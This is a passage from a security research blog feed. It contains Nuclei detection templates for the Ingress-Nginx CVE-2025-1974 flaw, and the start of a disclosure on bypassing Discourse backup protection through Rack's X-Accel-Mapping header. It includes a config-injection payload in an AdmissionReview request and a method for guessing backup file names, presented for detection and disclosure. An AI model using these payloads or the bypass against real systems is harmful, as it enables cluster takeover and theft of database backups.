  - raw:
      - |
        POST / HTTP/1.1
        Host: 
        Content-Type: application/json

        <span class="o">{</span>
          <span class="s2">"kind"</span>: <span class="s2">"AdmissionReview"</span>,
          <span class="s2">"apiVersion"</span>: <span class="s2">"admission.k8s.io/v1"</span>,
          <span class="s2">"request"</span>: <span class="o">{</span>
            <span class="s2">"uid"</span>: <span class="s2">"d48aa397-c414-4fb2-a2b0-b28187daf8a6"</span>,
            <span class="s2">"kind"</span>: <span class="o">{</span>
              <span class="s2">"group"</span>: <span class="s2">"networking.k8s.io"</span>,
              <span class="s2">"version"</span>: <span class="s2">"v1"</span>,
              <span class="s2">"kind"</span>: <span class="s2">"Ingress"</span>
            <span class="o">}</span>,
            <span class="s2">"resource"</span>: <span class="o">{</span>
              <span class="s2">"group"</span>: <span class="s2">"networking.k8s.io"</span>,
              <span class="s2">"version"</span>: <span class="s2">"v1"</span>,
              <span class="s2">"resource"</span>: <span class="s2">"ingresses"</span>
            <span class="o">}</span>,
            <span class="s2">"requestKind"</span>: <span class="o">{</span>
              <span class="s2">"group"</span>: <span class="s2">"networking.k8s.io"</span>,
              <span class="s2">"version"</span>: <span class="s2">"v1"</span>,
              <span class="s2">"kind"</span>: <span class="s2">"Ingress"</span>
            <span class="o">}</span>,
            <span class="s2">"requestResource"</span>: <span class="o">{</span>
              <span class="s2">"group"</span>: <span class="s2">"networking.k8s.io"</span>,
              <span class="s2">"version"</span>: <span class="s2">"v1"</span>,
              <span class="s2">"resource"</span>: <span class="s2">"ingresses"</span>
            <span class="o">}</span>,
            <span class="s2">"name"</span>: <span class="s2">"test-"</span>,
            <span class="s2">"namespace"</span>: <span class="s2">"default"</span>,
            <span class="s2">"operation"</span>: <span class="s2">"CREATE"</span>,
            <span class="s2">"userInfo"</span>: <span class="o">{</span>

            <span class="o">}</span>,
            <span class="s2">"object"</span>: <span class="o">{</span>
              <span class="s2">"kind"</span>: <span class="s2">"Ingress"</span>,
              <span class="s2">"apiVersion"</span>: <span class="s2">"networking.k8s.io/v1"</span>,
              <span class="s2">"metadata"</span>: <span class="o">{</span>
                <span class="s2">"name"</span>: <span class="s2">"test-"</span>,
                <span class="s2">"namespace"</span>: <span class="s2">"default"</span>,
                <span class="s2">"creationTimestamp"</span>: null,
                <span class="s2">"annotations"</span>: <span class="o">{</span>
        <span class="s2">"nginx.ingress.kubernetes.io/auth-url"</span>: <span class="s2">"http://example.com#;load_module test;</span><span class="se">\n</span><span class="s2">"</span>
                <span class="o">}</span>
              <span class="o">}</span>,
              <span class="s2">"spec"</span>: <span class="o">{</span>
                <span class="s2">"ingressClassName"</span>: <span class="s2">"nginx"</span>,
                <span class="s2">"rules"</span>: <span class="o">[</span>
                  <span class="o">{</span>
                    <span class="s2">"host"</span>: <span class="s2">""</span>,
                    <span class="s2">"http"</span>: <span class="o">{</span>
                      <span class="s2">"paths"</span>: <span class="o">[</span>
                      <span class="o">]</span>
                    <span class="o">}</span>
                  <span class="o">}</span>
                <span class="o">]</span>
              <span class="o">}</span>,
              <span class="s2">"status"</span>: <span class="o">{</span>
                <span class="s2">"loadBalancer"</span>: <span class="o">{}</span>
              <span class="o">}</span>
            <span class="o">}</span>,
            <span class="s2">"oldObject"</span>: null,
            <span class="s2">"dryRun"</span>: <span class="nb">true</span>,
            <span class="s2">"options"</span>: <span class="o">{</span>
              <span class="s2">"kind"</span>: <span class="s2">"CreateOptions"</span>,
              <span class="s2">"apiVersion"</span>: <span class="s2">"meta.k8s.io/v1"</span>
            <span class="o">}</span>
          <span class="o">}</span>
        <span class="o">}</span>

    matchers:
      - <span class="nb">type</span>: word
        part: body
        words:
          - <span class="s1">'AdmissionReview'</span>
          - <span class="s1">'directive is not allowed here'</span>
          - <span class="s1">'load_module'</span>
        condition: and
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pwnmachine@PD ~ % nuclei <span class="nt">-t</span> CVE-2025-1974.yaml <span class="nt">-u</span> <span class="s2">"https://&lt;redacted&gt;:8443"</span>
                     __     _
   ____  __  _______/ /__  <span class="o">(</span>_<span class="o">)</span>
  / __ <span class="se">\/</span> / / / ___/ / _ <span class="se">\/</span> /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/<span class="se">\_</span>_,_/<span class="se">\_</span>__/_/<span class="se">\_</span>__/_/   v3.3.10

		projectdiscovery.io

<span class="o">[</span>INF] Current nuclei version: v3.3.10 <span class="o">(</span>latest<span class="o">)</span>
<span class="o">[</span>INF] Current nuclei-templates version: v10.1.5 <span class="o">(</span>latest<span class="o">)</span>
<span class="o">[</span>WRN] Scan results upload to cloud is disabled.
<span class="o">[</span>INF] New templates added <span class="k">in </span>latest release: 281
<span class="o">[</span>INF] Templates loaded <span class="k">for </span>current scan: 1
<span class="o">[</span>WRN] Loading 1 unsigned templates <span class="k">for </span>scan. Use with caution.
<span class="o">[</span>INF] Targets loaded <span class="k">for </span>current scan: 1

<span class="o">[</span>CVE-2025-1974] <span class="o">[</span>http] <span class="o">[</span>critical] https://&lt;redacted&gt;:8443
</code></pre></div></div>

<p><strong>Template Breakdown:</strong></p>

<p>Sending a POST request to the target host with a specially crafted AdmissionReview JSON payload</p>

<ol>
  <li>The payload includes an ingress object with a malicious annotation that attempts to inject a <code class="language-plaintext highlighter-rouge">load_module</code> directive that tries to load a random file on the filesystem.</li>
  <li>If the target is a vulnerable Ingress-Nginx admission controller, it will process the request and return an error message indicating that the “DSO support routines:: could not load the shared library”, along side some other error messages which are then matched by the template for detection.</li>
</ol>

<p>This template is particularly useful for identifying externally exposed admission controllers that could be targeted by attackers.</p>

<h3 id="internal-kubernetes-cluster-template">Internal Kubernetes Cluster Template</h3>

<p>The following template is to be run from within a Kubernetes cluster. This can come in handy along with other Kubernetes Cluster Security templates during Kubernetes configuration review engagements.</p>

<p>It checks for vulnerable versions of the Ingress-Nginx controller by examining the container images used in the deployment.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">id</span>: CVE-2025-1974-k8s

info:
  name: Ingress-Nginx Controller - Unauthenticated Remote Code Execution
  author: princechaddha
  severity: critical
  description: A security issue was discovered <span class="k">in </span>ingress-nginx where some Ingress annotations can be used to inject configuration into nginx. This can lead to arbitrary code execution <span class="k">in </span>the context of the ingress-nginx controller, and disclosure of Secrets accessible to the controller
  impact: |
    Vulnerable versions of Ingress-Nginx controller can be exploited to gain unauthorized access to all secrets across namespaces <span class="k">in </span>the Kubernetes cluster, potentially leading to <span class="nb">complete </span>cluster takeover.
  remediation: |
    Update to one of the following versions: Version 1.12.1 or later / Version 1.11.5 or later
  reference:
    - https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities
    - 
  tags: cve,cve2025,cloud,devops,kubernetes,ingress,nginx,k8s,k8s-cluster-security

flow: |
  code<span class="o">(</span>1<span class="o">)</span> <span class="p">;</span>
  <span class="k">for</span> <span class="o">(</span><span class="nb">let </span>pod of template.items<span class="o">)</span> <span class="o">{</span>
    <span class="nb">set</span><span class="o">(</span><span class="s2">"pod"</span>, pod<span class="o">)</span>
    javascript<span class="o">(</span>1<span class="o">)</span><span class="p">;</span>
  <span class="o">}</span>

self-contained: <span class="nb">true
</span>code:
  - engine:
      - sh
      - bash
    <span class="nb">source</span>: kubectl get pods <span class="nt">-n</span> ingress-nginx <span class="nt">-l</span> app.kubernetes.io/component<span class="o">=</span>controller <span class="nt">-o</span> json
    extractors:
      - <span class="nb">type</span>: json
        name: items
        internal: <span class="nb">true
        </span>json:
          - <span class="s1">'.items[]'</span>

javascript:
  - code: |
        <span class="nb">let </span>podData <span class="o">=</span> JSON.parse<span class="o">(</span>template.pod<span class="o">)</span><span class="p">;</span>

        const container <span class="o">=</span> podData.spec.containers.find<span class="o">(</span>c <span class="o">=&gt;</span> c.name <span class="o">===</span> <span class="s1">'controller'</span><span class="o">)</span><span class="p">;</span>
        <span class="k">if</span> <span class="o">(</span>container <span class="o">&amp;&amp;</span> container.image<span class="o">)</span> <span class="o">{</span>
          const imageTag <span class="o">=</span> container.image.split<span class="o">(</span><span class="s1">':'</span><span class="o">)[</span>1]<span class="p">;</span>
          <span class="k">if</span> <span class="o">(</span>imageTag<span class="o">)</span> <span class="o">{</span>
            const version <span class="o">=</span> imageTag.split<span class="o">(</span><span class="s1">'@'</span><span class="o">)[</span>0].replace<span class="o">(</span>/^v/, <span class="s1">''</span><span class="o">)</span><span class="p">;</span>
            const <span class="o">[</span>major, minor, patch] <span class="o">=</span> version.split<span class="o">(</span><span class="s1">'.'</span><span class="o">)</span>.map<span class="o">(</span>v <span class="o">=&gt;</span> parseInt<span class="o">(</span>v, 10<span class="o">))</span><span class="p">;</span>

            <span class="k">if</span> <span class="o">((</span>major <span class="o">===</span> 1 <span class="o">&amp;&amp;</span> minor <span class="o">===</span> 11 <span class="o">&amp;&amp;</span> patch &lt; 5<span class="o">)</span> <span class="o">||</span>
                <span class="o">(</span>major <span class="o">===</span> 1 <span class="o">&amp;&amp;</span> minor <span class="o">===</span> 12 <span class="o">&amp;&amp;</span> patch <span class="o">===</span> 0<span class="o">)</span> <span class="o">||</span>
                <span class="o">(</span>major <span class="o">===</span> 1 <span class="o">&amp;&amp;</span> minor &lt; 11<span class="o">)</span> <span class="o">||</span>
                <span class="o">(</span>major <span class="o">===</span> 1 <span class="o">&amp;&amp;</span> minor <span class="o">===</span> 9 <span class="o">&amp;&amp;</span> patch &lt;<span class="o">=</span> 3<span class="o">))</span> <span class="o">{</span>
              <span class="nb">let </span>result <span class="o">=</span> <span class="o">(</span><span class="sb">`</span>Ingress-Nginx controller <span class="k">in </span>namespace <span class="s1">'${podData.metadata.namespace}'</span> is running vulnerable version <span class="k">${</span><span class="nv">version</span><span class="k">}</span><span class="nb">.</span> Update to v1.12.1+ or v1.11.5+<span class="sb">`</span><span class="o">)</span><span class="p">;</span>
              Export<span class="o">(</span>result<span class="o">)</span><span class="p">;</span>
            <span class="o">}</span>
          <span class="o">}</span>
        <span class="o">}</span>

    extractors:
      - <span class="nb">type</span>: dsl
        dsl:
          - response
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pwnmachine@PD ~ % nuclei <span class="nt">-t</span> CVE-2025-1974-k8s.yaml <span class="nt">-code</span>

                     __     _
   ____  __  _______/ /__  <span class="o">(</span>_<span class="o">)</span>
  / __ <span class="se">\/</span> / / / ___/ / _ <span class="se">\/</span> /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/<span class="se">\_</span>_,_/<span class="se">\_</span>__/_/<span class="se">\_</span>__/_/   v3.3.10

		projectdiscovery.io

<span class="o">[</span>INF] Current nuclei version: v3.3.10 <span class="o">(</span>latest<span class="o">)</span>
<span class="o">[</span>INF] Current nuclei-templates version: v10.1.5 <span class="o">(</span>latest<span class="o">)</span>
<span class="o">[</span>WRN] Scan results upload to cloud is disabled.
<span class="o">[</span>INF] New templates added <span class="k">in </span>latest release: 0
<span class="o">[</span>INF] Templates loaded <span class="k">for </span>current scan: 1
<span class="o">[</span>INF] Executing 1 signed templates from a

<span class="o">[</span>CVE-2025-1974-k8s] <span class="o">[</span>javascript] <span class="o">[</span>critical]  <span class="o">[</span><span class="s2">"Ingress-Nginx controller in namespace 'ingress-nginx' is running vulnerable version 1.9.3. Update to v1.12.1+ or v1.11.5+"</span><span class="o">]</span>
</code></pre></div></div>

<p><strong>Template Breakdown:</strong></p>

<ol>
  <li>Using <code class="language-plaintext highlighter-rouge">kubectl</code> to get all pods in the <code class="language-plaintext highlighter-rouge">ingress-nginx</code> namespace with the label <code class="language-plaintext highlighter-rouge">app.kubernetes.io/component=controller</code></li>
  <li>For each pod found, it extracts the container image version</li>
  <li>It then parses the version number and checks if it matches any of the vulnerable version patterns</li>
  <li>If a vulnerable version is detected, it reports the finding with details about the affected namespace and version</li>
</ol>

<p>This template is particularly useful for security teams conducting internal audits of their Kubernetes environments.</p>

<blockquote>
  <p>You can check out the blog below if you’d like to learn more about the above template along with our other Kubernetes cluster security templates.</p>
</blockquote>

<p>To use these templates with Nuclei:</p>

<ul>
  <li>Run the external template against potentially exposed admission controllers:</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nuclei <span class="nt">-t</span> CVE-2025-1974.yaml <span class="nt">-u</span> https://admission-controller-endpoint
</code></pre></div></div>

<ul>
  <li>To run the internal template we need to install <code class="language-plaintext highlighter-rouge">kubectl</code> and configure its contexts or specific access permissions. We need to sign the template before running it, as it’s a code-based template and requires signing to prevent the execution of untrusted external code.</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nuclei <span class="nt">-id</span> CVE-2025-1974-k8s.yaml <span class="nt">-sign</span>
nuclei <span class="nt">-id</span> CVE-2025-1974-k8s.yaml <span class="nt">-code</span>
</code></pre></div></div>

<p>It’s important to note that the internal template requires <code class="language-plaintext highlighter-rouge">kubectl</code> access to your cluster with appropriate permissions, while the external template can be run from anywhere with network access to the target.</p>

<h3 id="remediation-recommendations">Remediation Recommendations</h3>

<p>We strongly recommend the following actions to mitigate the risk of this vulnerability:</p>

<ol>
  <li><strong>Update Immediately</strong>: Upgrade to Ingress-Nginx Controller version 1.12.1 or later, or version 1.11.5 or later. This is the most effective way to address the vulnerability.</li>
  <li><strong>Network Policies</strong>: Implement strict network policies to ensure that only the Kubernetes API Server can access the admission controller.</li>
</ol>

<h3 id="timeline">Timeline:</h3>

<ul>
  <li><strong>December 31, 2024:</strong> Vulnerability (CVE-2025-1974) initially reported privately to Kubernetes security team by Wiz Research.</li>
  <li><strong>March 24, 2025:</strong> Public disclosure and detailed advisory published by Kubernetes and Wiz Research. Patched versions (1.12.1 and 1.11.5) released.</li>
  <li><strong>March 25, 2025:</strong> The Nuclei templates for internal detection were published by the ProjectDiscovery Team.</li>
  <li><strong>March 26, 2025</strong>: The Nuclei templates for external detection were published by the ProjectDiscovery Team.</li>
</ul>

<h2 id="conclusion">Conclusion</h2>

<p>The IngressNightmare vulnerability (CVE-2025-1974)  represents one of the most significant security threats to Kubernetes environments in recent years. This critical unauthenticated remote code execution vulnerability in the Ingress-Nginx Controller can lead to complete cluster takeover, with attackers gaining access to all secrets across namespaces.</p>

<p>This template is also integrated into the <a href="https://cloud.projectdiscovery.io/">ProjectDiscovery Cloud platform</a>, enabling our customers to automatically scan for this vulnerability as part of their continuous security assessments.</p>]]></content><author><name></name></author><summary type="html"><![CDATA[Note - This is cross post from our work at Projectdiscovery Blog]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://httpvoid.com/assets/cover.png" /><media:content medium="image" url="https://httpvoid.com/assets/cover.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">CVE-2024-53991 - Discourse Backup Disclosure: Rails send_file Quirk</title><link href="https://httpvoid.com/Discourse-Backup-Disclosure-Rails-send_file-Quirk.md" rel="alternate" type="text/html" title="CVE-2024-53991 - Discourse Backup Disclosure: Rails send_file Quirk" /><published>2025-03-20T00:00:00+00:00</published><updated>2025-03-20T00:00:00+00:00</updated><id>https://httpvoid.com/Discourse-Backup-Disclosure-Rails-send_file-Quirk</id><content type="html" xml:base="https://httpvoid.com/Discourse-Backup-Disclosure-Rails-send_file-Quirk.md"><![CDATA[<p>Note - This is cross post from our work at <a href="https://projectdiscovery.io/blog/discourse-backup-disclosure-rails-send_file-quirk">Projectdiscovery Blog</a></p>

<h2 id="introduction">Introduction</h2>

<p>Modern web applications rely on middleware and web server configurations to efficiently handle file delivery while maintaining security. In the Ruby ecosystem, the <code class="language-plaintext highlighter-rouge">send_file</code> method in Rack and Rails is a widely used mechanism that can offload file serving to web servers like Nginx and Apache, improving performance and scalability. However, when used in conjunction with Nginx’s internal directive, a feature designed to restrict access to sensitive resources, unexpected security flaws can emerge.</p>

<p>In this blog, we explore a subtle yet impactful interaction between Rack/Rails and Nginx that can inadvertently expose restricted endpoints. Specifically, we examine how the <code class="language-plaintext highlighter-rouge">send_file</code> method, when paired with certain Nginx configurations, can bypass access controls under specific conditions, turning a security feature into a potential attack vector.</p>

<p>To highlight the real-world implications, we analyze <a href="https://github.com/discourse/discourse">Discourse</a>, a popular Rails-based forum platform. We demonstrate how predictable backup file naming patterns, combined with this <code class="language-plaintext highlighter-rouge">send_file</code> behavior and a particular Nginx setup, can unintentionally expose sensitive data—such as Discourse database backups—posing a serious risk to affected deployments. This vulnerability has been assigned <a href="https://github.com/discourse/discourse/security/advisories/GHSA-567m-82f6-56rv"><strong>CVE-2024-53991</strong></a>.</p>

<h2 id="what-is-x-accel-redirect-in-nginx">What is X-Accel-Redirect in Nginx?</h2>

<p>The <code class="language-plaintext highlighter-rouge">X-Accel-Redirect</code> header in Nginx enables controlled access to internal resources by leveraging specially designated location blocks. These location blocks are marked with the internal directive, which restricts them from being directly accessed by external clients.</p>

<p>The internal directive of Nginx is used to specify that a particular location block should only process requests generated by Nginx itself. This does not mean requests originating from localhost or specific IP addresses—it specifically refers to requests initiated internally by Nginx as a result of its processing logic.</p>

<p>Only requests generated by Nginx during its handling of another request (e.g., due to request rewrite or via the X-Accel-Redirect header) can access the internal location.</p>

<h2 id="how-does-x-accel-redirect-work">How Does X-Accel-Redirect Work?</h2>

<p>The <code class="language-plaintext highlighter-rouge">X-Accel-Redirect</code> header is a mechanism for Nginx to route an incoming request to an internal location block. When Nginx encounters this header in a response from an upstream server (e.g., a web application or backend), it interprets the header’s value as the new URI and internally redirects the request to that URI. If the target URI corresponds to an internal location, the resources in that location can now be served.</p>

<p>An example configuration would be:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>location ~ /files/(.*) {
    internal;
    alias /var/www/$1;
}
</code></pre></div></div>

<p>Example flow of requests:</p>

<ul>
  <li>A client sends a request to an external endpoint, for example, <code class="language-plaintext highlighter-rouge">/download</code>.</li>
  <li>The <code class="language-plaintext highlighter-rouge">/download</code> endpoint is handled by an upstream server (e.g., a backend application) that processes the request and returns a response with the header:</li>
</ul>

<p><code class="language-plaintext highlighter-rouge">X-Accel-Redirect: /files/example.txt</code></p>
<ul>
  <li>Nginx sees the X-Accel-Redirect header and internally routes the request to <code class="language-plaintext highlighter-rouge">/files/example.txt</code>.</li>
  <li>The location <code class="language-plaintext highlighter-rouge">~ /files/(.*)</code> block is triggered, allowing Nginx to serve the file <code class="language-plaintext highlighter-rouge">/var/www/example.txt</code> from the filesystem.</li>
</ul>

<h2 id="when-rack-sends-sht-breaks"><strong>When Rack Sends, Sh*t Breaks</strong>:</h2>

<p>We were reviewing web frameworks that utilize <code class="language-plaintext highlighter-rouge">X-Sendfile</code> or <code class="language-plaintext highlighter-rouge">X-Accel-Redirect</code> headers in their file-serving functions to enable optimized file handling through web servers like Nginx or Apache.</p>

<p>One of the frameworks we analyzed was Rack, specifically its <code class="language-plaintext highlighter-rouge">send_file</code> function, which incorporates these headers for efficient file delivery. Since Rack middleware is a core component of Rails, we also examined its implementation in detail. During this review, we identified a notable issue—or perhaps a quirk.</p>

<p>Here’s how the implementaiton for the same looks like:</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">class</span> <span class="nc">Sendfile</span>
    <span class="k">def</span> <span class="nf">initialize</span><span class="p">(</span><span class="n">app</span><span class="p">,</span> <span class="n">variation</span> <span class="o">=</span> <span class="kp">nil</span><span class="p">,</span> <span class="n">mappings</span> <span class="o">=</span> <span class="p">[])</span>
      <span class="o">...</span>
      <span class="vi">@mappings</span> <span class="o">=</span> <span class="n">mappings</span><span class="p">.</span><span class="nf">map</span> <span class="k">do</span> <span class="o">|</span><span class="n">internal</span><span class="p">,</span> <span class="n">external</span><span class="o">|</span>
        <span class="p">[</span><span class="sr">/^</span><span class="si">#{</span><span class="n">internal</span><span class="si">}</span><span class="sr">/i</span><span class="p">,</span> <span class="n">external</span><span class="p">]</span>
      <span class="k">end</span>
    <span class="k">end</span>

    <span class="k">def</span> <span class="nf">call</span><span class="p">(</span><span class="n">env</span><span class="p">)</span>
      <span class="n">_</span><span class="p">,</span> <span class="n">headers</span><span class="p">,</span> <span class="n">body</span> <span class="o">=</span> <span class="n">response</span> <span class="o">=</span> <span class="vi">@app</span><span class="p">.</span><span class="nf">call</span><span class="p">(</span><span class="n">env</span><span class="p">)</span>

      <span class="k">if</span> <span class="n">body</span><span class="p">.</span><span class="nf">respond_to?</span><span class="p">(</span><span class="ss">:to_path</span><span class="p">)</span>
        <span class="k">case</span> <span class="n">type</span> <span class="o">=</span> <span class="n">variation</span><span class="p">(</span><span class="n">env</span><span class="p">)</span> <span class="c1"># value of x-sendfile-type header</span>
        <span class="k">when</span> <span class="sr">/x-accel-redirect/i</span> <span class="c1"># [1]</span>
          <span class="n">path</span> <span class="o">=</span> <span class="o">::</span><span class="no">File</span><span class="p">.</span><span class="nf">expand_path</span><span class="p">(</span><span class="n">body</span><span class="p">.</span><span class="nf">to_path</span><span class="p">)</span> <span class="o">/</span><span class="sr">/ expand the full path to the file.
          if url = map_accel_path(env, path)
            headers[CONTENT_LENGTH] = '0'
            # '?' must be percent-encoded because it is not query string but a part of path
            headers[type.downcase] = ::Rack::Utils.escape_path(url).gsub('?', '%3F') # [3]
            obody = body
            response[2] = Rack::BodyProxy.new([]) do
              obody.close if obody.respond_to?(:close)
            end
          else
            env[RACK_ERRORS].puts "x-accel-mapping header missing"
          end
          ...
        when '', nil
        else
          env[RACK_ERRORS].puts "Unknown x-sendfile variation: '</span><span class="si">#{</span><span class="n">type</span><span class="si">}</span><span class="sr">'.\n"
        end
      end
      response
    end

    private
    def variation(env)
      @variation ||
        env['sendfile.type'] ||
        env['HTTP_X_SENDFILE_TYPE']
    end
end
</span></code></pre></div></div>

<p>Rack handles this by inspecting the value of the <code class="language-plaintext highlighter-rouge">X-Sendfile-Type</code> request header. At [1] in the implementation, if the header’s value is <code class="language-plaintext highlighter-rouge">x-accel-redirect</code>, the code logic proceeds to retrieve the full path to the file on the filesystem using <code class="language-plaintext highlighter-rouge">body.to_path</code>. It then calls the <code class="language-plaintext highlighter-rouge">map_accel_path</code> method to translate this filesystem path into an  URL suitable for use with Nginx.</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">map_accel_path</span><span class="p">(</span><span class="n">env</span><span class="p">,</span> <span class="n">path</span><span class="p">)</span>
  <span class="k">if</span> <span class="n">mapping</span> <span class="o">=</span> <span class="vi">@mappings</span><span class="p">.</span><span class="nf">find</span> <span class="p">{</span> <span class="o">|</span><span class="n">internal</span><span class="p">,</span> <span class="n">_</span><span class="o">|</span> <span class="n">internal</span> <span class="o">=~</span> <span class="n">path</span> <span class="p">}</span>
    <span class="n">path</span><span class="p">.</span><span class="nf">sub</span><span class="p">(</span><span class="o">*</span><span class="n">mapping</span><span class="p">)</span>
  <span class="k">elsif</span> <span class="n">mapping</span> <span class="o">=</span> <span class="n">env</span><span class="p">[</span><span class="s1">'HTTP_X_ACCEL_MAPPING'</span><span class="p">]</span>
    <span class="n">mapping</span><span class="p">.</span><span class="nf">split</span><span class="p">(</span><span class="s1">','</span><span class="p">).</span><span class="nf">map</span><span class="p">(</span><span class="o">&amp;</span><span class="ss">:strip</span><span class="p">).</span><span class="nf">each</span> <span class="k">do</span> <span class="o">|</span><span class="n">m</span><span class="o">|</span>
      <span class="n">internal</span><span class="p">,</span> <span class="n">external</span> <span class="o">=</span> <span class="n">m</span><span class="p">.</span><span class="nf">split</span><span class="p">(</span><span class="s1">'='</span><span class="p">,</span> <span class="mi">2</span><span class="p">).</span><span class="nf">map</span><span class="p">(</span><span class="o">&amp;</span><span class="ss">:strip</span><span class="p">)</span>
      <span class="n">new_path</span> <span class="o">=</span> <span class="n">path</span><span class="p">.</span><span class="nf">sub</span><span class="p">(</span><span class="sr">/^</span><span class="si">#{</span><span class="n">internal</span><span class="si">}</span><span class="sr">/i</span><span class="p">,</span> <span class="n">external</span><span class="p">)</span> <span class="c1"># [2]</span>
      <span class="k">return</span> <span class="n">new_path</span> <span class="k">unless</span> <span class="n">path</span> <span class="o">==</span> <span class="n">new_path</span>
    <span class="k">end</span>
    <span class="n">path</span>
  <span class="k">end</span>
<span class="k">end</span>
</code></pre></div></div>

<p>In the <code class="language-plaintext highlighter-rouge">map_accel_path</code> method, Rack processes another request header, X-Accel-Mapping. The value of this header is split at the <code class="language-plaintext highlighter-rouge">=</code> character, where the first part becomes the internal filesystem path and the second part becomes the external path. Rack then uses a regular expression substitution at [2] to replace the internal portion of the file’s full filesystem path with the corresponding external nginx location path.</p>

<p>The newly substituted path (or URL) is then used to set the X-Accel-Redirect response header. This header is intercepted by Nginx, which makes an internal request to the mapped URL and serves the corresponding file to the client, bypassing direct access to the original file path on the server.</p>

<p><strong>Example</strong>:</p>

<p>If the following header is present, <code class="language-plaintext highlighter-rouge">x-accel-mapping: .*=/secret</code>, full path of the request file matched by <code class="language-plaintext highlighter-rouge">/^.*/</code> will be replaced with <code class="language-plaintext highlighter-rouge">/secret</code> at line [2]. Then, at line [3], the value of <code class="language-plaintext highlighter-rouge">x-accel-redirect</code> response header is set to this new value <code class="language-plaintext highlighter-rouge">/secret</code> . Once, this is done, Nginx will automatically make an internal request to <code class="language-plaintext highlighter-rouge">/secret</code> endpoint and will respond back.</p>

<p>Therefore, the pre-requisite for this  misconfiguration to be exploitable would be:</p>

<ul>
  <li>Rails’ <code class="language-plaintext highlighter-rouge">send_file</code> or Rack’s <code class="language-plaintext highlighter-rouge">Rack::Sendfile</code> method is used.</li>
  <li>Nginx configuration with <code class="language-plaintext highlighter-rouge">internal</code> directive that leaks something sensitive.</li>
</ul>

<h2 id="discourse-backup-file-disclosure-via-default-nginx-configuration">Discourse: Backup File Disclosure Via Default Nginx Configuration</h2>

<p>Discourse, a popular Ruby on Rails-based community discussion platform, uses the send_file method in various parts of its application to serve files efficiently. During our review, we explored potential unauthenticated routes utilizing send_file, as well as the default Nginx configuration provided by Discourse, to identify any potential misconfigurations.</p>

<p>While analyzing the source code, we found that the StylesheetsController uses the send_file method to serve CSS files. At first glance, this controller appeared interesting because it skips several authentication checks:</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">class</span> <span class="nc">StylesheetsController</span> <span class="o">&lt;</span> <span class="no">ApplicationController</span>
  <span class="n">skip_before_action</span> <span class="ss">:preload_json</span><span class="p">,</span>
                     <span class="ss">:redirect_to_login_if_required</span><span class="p">,</span>
                     <span class="ss">:redirect_to_profile_if_required</span><span class="p">,</span>
                     <span class="ss">:check_xhr</span><span class="p">,</span>
                     <span class="ss">:verify_authenticity_token</span><span class="p">,</span>
                     <span class="ss">only: </span><span class="sx">%i[show show_source_map color_scheme]</span>

  <span class="n">before_action</span> <span class="ss">:apply_cdn_headers</span><span class="p">,</span> <span class="ss">only: </span><span class="sx">%i[show show_source_map color_scheme]</span>

  <span class="o">...</span>

  <span class="k">def</span> <span class="nf">show</span>
    <span class="n">is_asset_path</span>

    <span class="n">show_resource</span> <span class="c1"># [4]</span>
  <span class="k">end</span>

  <span class="kp">protected</span>

  <span class="k">def</span> <span class="nf">show_resource</span><span class="p">(</span><span class="ss">source_map: </span><span class="kp">false</span><span class="p">)</span>
    <span class="o">...</span>
    <span class="n">send_file</span><span class="p">(</span><span class="n">location</span><span class="p">,</span> <span class="ss">disposition: :inline</span><span class="p">)</span> <span class="c1"># [5]</span>
  <span class="k">end</span>
<span class="k">end</span>
</code></pre></div></div>

<p>As seen above, the show action skips authentication checks, allowing unauthenticated users to access it. The show_resource method ultimately calls send_file at <strong>[5]</strong> to serve files, making this a potential candidate for file disclosure.</p>

<p>We reviewed Discourse’s default Nginx configuration to identify any sensitive or interesting configurations. Discourse places its backups directory within the Rails public directory, which is globally accessible. This directory holds Discourse’s database backups and is highly sensitive. However, the default Nginx configuration prevents direct access to the backups using the internal directive, which restricts the /backups/ route:</p>

<div class="language-nginx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Path to Discourse's public directory</span>
<span class="k">set</span> <span class="nv">$public</span> <span class="n">/var/www/discourse/public</span><span class="p">;</span>

<span class="c1"># Prevent direct download of backups</span>
<span class="k">location</span> <span class="s">^~</span> <span class="n">/backups/</span> <span class="p">{</span>
    <span class="kn">internal</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1"># Another internal route mapped to the public directory</span>
<span class="k">location</span> <span class="n">/downloads/</span> <span class="p">{</span>
    <span class="kn">internal</span><span class="p">;</span>
    <span class="kn">alias</span> <span class="nv">$public</span><span class="n">/</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<ul>
  <li>The /backups/ route is protected by the internal directive, ensuring that backup files cannot be accessed directly by external users.</li>
  <li>The /downloads/ route, which maps to the public directory, is also marked as internal, further restricting access.</li>
</ul>

<p>This satisfies the prerequisite for exploiting file disclosure: an Nginx configuration with internal directives protecting sensitive directories.</p>

<p><strong>Exploiting Backup File Disclosure</strong></p>

<p>While the Nginx configuration prevents direct access to backups, Discourse’s use of Rails’ send_file method for file-serving combined with predictable backup file naming conventions can still allow attackers to leak backup files. The second requirement for exploitation is the ability to <strong>bruteforce backup file names</strong> efficiently. Based on Discourse’s default behavior and naming patterns, backup file names can be derived using the following logic:</p>

<p><code class="language-plaintext highlighter-rouge">&lt;site-name&gt;-YYYY-MM-DD-HHMMSS-v&lt;Migration_Stamp&gt;.tar.gz</code></p>

<ul>
  <li>**Site Name: **This can be obtained from the website’s title, call Rail’s parameterize method on the string.</li>
  <li><strong>Date of Backup (</strong>YYYY-MM-DD**): **Discourse by default creates backups every 7 days.</li>
